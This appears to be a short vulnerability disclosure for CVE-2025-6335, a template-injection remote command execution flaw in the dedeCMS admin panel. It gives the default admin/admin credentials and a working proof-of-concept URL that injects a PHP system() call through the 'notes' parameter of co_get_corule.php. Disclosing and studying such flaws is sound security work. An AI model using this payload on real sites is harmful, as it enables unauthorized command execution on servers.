CVE-2025-6335

Title: Template injection command execution vulnerability in dedeCMS 5.7 sp2

BUG_Author: Ewoji

Affected Version: dedeCMS < 5.7.2

Vendor: Shanghai Zhuozhuo Network Technology Co., LTD

Software: dedeCMS

Vulnerability Files:

• /include/dedetag.class.php

Description:

1. After install，Log in to the background

   • Use the default account password admin/admin

2. Exploiting the Template

   • Access the dede/co_get_corule.php interface
   • Pass in the parameter /dede/co_get_corule.php? notes={dede:"); system('calc'); ///}&job=1,Accessing twice like this can execute the command

3. Verifying the Exploit:

   • If the injection is successful,The attacker will execute arbitrary commands

Proof of Concept:

/dede/co_get_corule.php?notes={dede:");system('calc');///}&job=1
Accessing twice like this can execute the command

detail:CVE-2025-6335-dedeCMS后台模板注入RCE